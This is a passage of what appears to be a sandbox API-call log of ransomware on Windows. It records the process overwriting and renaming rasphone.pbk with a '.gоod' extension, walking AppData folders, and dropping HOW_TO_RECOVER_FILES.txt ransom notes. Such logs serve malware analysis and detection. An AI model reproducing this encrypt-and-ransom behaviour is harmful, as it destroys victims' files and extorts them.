SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb060) returned 1 [0247.280] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", nBufferLength=0x105, lpBuffer=0x204eaa40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", lpFilePart=0x0) returned 0x59 [0247.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eaf10) returned 1 [0247.280] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\_hiddenpbk\\rasphone.pbk"), fInfoLevelId=0x0, lpFileInformation=0x3ae37f0 | out: lpFileInformation=0x3ae37f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2d8352f, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0247.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eaed0) returned 1 [0247.280] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", nBufferLength=0x105, lpBuffer=0x204ea8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", lpFilePart=0x0) returned 0x59 [0247.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eadc0) returned 1 [0247.280] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\_hiddenpbk\\rasphone.pbk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0247.281] GetFileType (hFile=0x82c) returned 0x1 [0247.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ead30) returned 1 [0247.281] GetFileType (hFile=0x82c) returned 0x1 [0247.281] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x204eaf68 | out: lpFileSizeHigh=0x204eaf68*=0x0) returned 0x0 [0247.281] CloseHandle (hObject=0x82c) returned 1 [0247.823] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", nBufferLength=0x105, lpBuffer=0x204ea8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", lpFilePart=0x0) returned 0x59 [0247.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eadc0) returned 1 [0247.823] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\_hiddenpbk\\rasphone.pbk"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0247.824] GetFileType (hFile=0x82c) returned 0x1 [0247.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ead30) returned 1 [0247.824] GetFileType (hFile=0x82c) returned 0x1 [0247.824] WriteFile (in: hFile=0x82c, lpBuffer=0x379c458*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204eada8, lpOverlapped=0x0 | out: lpBuffer=0x379c458*, lpNumberOfBytesWritten=0x204eada8*=0x10, lpOverlapped=0x0) returned 1 [0247.824] CloseHandle (hObject=0x82c) returned 1 [0247.824] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", nBufferLength=0x105, lpBuffer=0x204eaa40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk", lpFilePart=0x0) returned 0x59 [0247.824] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk.gоod", nBufferLength=0x105, lpBuffer=0x204eaa40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk.gоod", lpFilePart=0x0) returned 0x5e [0247.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eaed0) returned 1 [0247.824] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\_hiddenpbk\\rasphone.pbk"), fInfoLevelId=0x0, lpFileInformation=0x204eafb0 | out: lpFileInformation=0x204eafb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2d8352f, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x8fece924, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0247.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eae90) returned 1 [0247.825] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\_hiddenpbk\\rasphone.pbk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\_hiddenpbk\\rasphone.pbk.gоod")) returned 1 [0247.825] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eabb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x65 [0247.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb0d0) returned 1 [0247.825] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\_hiddenpbk\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0247.827] GetFileType (hFile=0x82c) returned 0x1 [0247.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb040) returned 1 [0247.827] GetFileType (hFile=0x82c) returned 0x1 [0247.827] WriteFile (in: hFile=0x82c, lpBuffer=0x379fbb0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204eb198, lpOverlapped=0x0 | out: lpBuffer=0x379fbb0*, lpNumberOfBytesWritten=0x204eb198*=0x5d0, lpOverlapped=0x0) returned 1 [0247.828] CloseHandle (hObject=0x82c) returned 1 [0247.828] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5a [0247.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb00) returned 1 [0247.828] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0247.828] GetFileType (hFile=0x82c) returned 0x1 [0247.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba70) returned 1 [0247.829] GetFileType (hFile=0x82c) returned 0x1 [0247.829] WriteFile (in: hFile=0x82c, lpBuffer=0x37a3468*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ebbc8, lpOverlapped=0x0 | out: lpBuffer=0x37a3468*, lpNumberOfBytesWritten=0x204ebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0247.829] CloseHandle (hObject=0x82c) returned 1 [0247.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0247.830] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\_hiddencm", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\_hiddencm", lpFilePart=0x0) returned 0x47 [0247.830] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\_hiddencm\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a800 [0247.830] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.830] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0247.830] FindClose (in: hFindFile=0x134a800 | out: hFindFile=0x134a800) returned 1 [0247.830] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0247.830] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0247.831] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0247.831] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\_hiddencm", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\_hiddencm", lpFilePart=0x0) returned 0x47 [0247.831] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\_hiddencm\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0247.831] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.831] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0247.831] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0247.831] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0247.831] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0247.831] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\_hiddencm\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\_hiddencm\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x60 [0247.831] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb00) returned 1 [0247.831] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\_hiddencm\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\network\\connections\\_hiddencm\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0247.832] GetFileType (hFile=0x82c) returned 0x1 [0247.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba70) returned 1 [0247.832] GetFileType (hFile=0x82c) returned 0x1 [0247.832] WriteFile (in: hFile=0x82c, lpBuffer=0x37b48b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ebbc8, lpOverlapped=0x0 | out: lpBuffer=0x37b48b0*, lpNumberOfBytesWritten=0x204ebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0247.833] CloseHandle (hObject=0x82c) returned 1 [0247.833] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ec010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x56 [0247.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec530) returned 1 [0247.833] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\network\\connections\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0247.834] GetFileType (hFile=0x82c) returned 0x1 [0247.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4a0) returned 1 [0247.834] GetFileType (hFile=0x82c) returned 0x1 [0247.835] WriteFile (in: hFile=0x82c, lpBuffer=0x37b8158*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ec5f8, lpOverlapped=0x0 | out: lpBuffer=0x37b8158*, lpNumberOfBytesWritten=0x204ec5f8*=0x5d0, lpOverlapped=0x0) returned 1 [0247.835] CloseHandle (hObject=0x82c) returned 1 [0247.835] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4a [0247.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0247.835] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\network\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0247.836] GetFileType (hFile=0x82c) returned 0x1 [0247.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0247.836] GetFileType (hFile=0x82c) returned 0x1 [0247.837] WriteFile (in: hFile=0x82c, lpBuffer=0x37bb9d0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x37bb9d0*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0247.837] CloseHandle (hObject=0x82c) returned 1 [0247.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0247.837] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office", lpFilePart=0x0) returned 0x30 [0247.837] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f2525a, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x15925c1b, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x15925c1b, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ab00 [0247.837] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f2525a, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x15925c1b, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x15925c1b, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.838] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f2525a, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2f2525a, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2f2525a, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x9362, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO1033.acl", cAlternateFileName="")) returned 1 [0247.838] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15925c1b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xee8b468d, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee8b468d, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0247.838] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15925c1b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xee8b468d, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee8b468d, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 0 [0247.838] FindClose (in: hFindFile=0x134ab00 | out: hFindFile=0x134ab00) returned 1 [0247.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0247.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0247.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0247.838] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office", lpFilePart=0x0) returned 0x30 [0247.838] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f2525a, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x15925c1b, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x15925c1b, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0247.839] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f2525a, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x15925c1b, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x15925c1b, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.839] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f2525a, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2f2525a, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2f2525a, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x9362, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO1033.acl", cAlternateFileName="")) returned 1 [0247.839] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15925c1b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xee8b468d, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee8b468d, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0247.839] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0247.839] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0247.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0247.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0247.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0247.839] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent", lpFilePart=0x0) returned 0x37 [0247.839] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15925c1b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xee8b468d, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee8b468d, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b3a0 [0247.841] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15925c1b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xee8b468d, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee8b468d, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 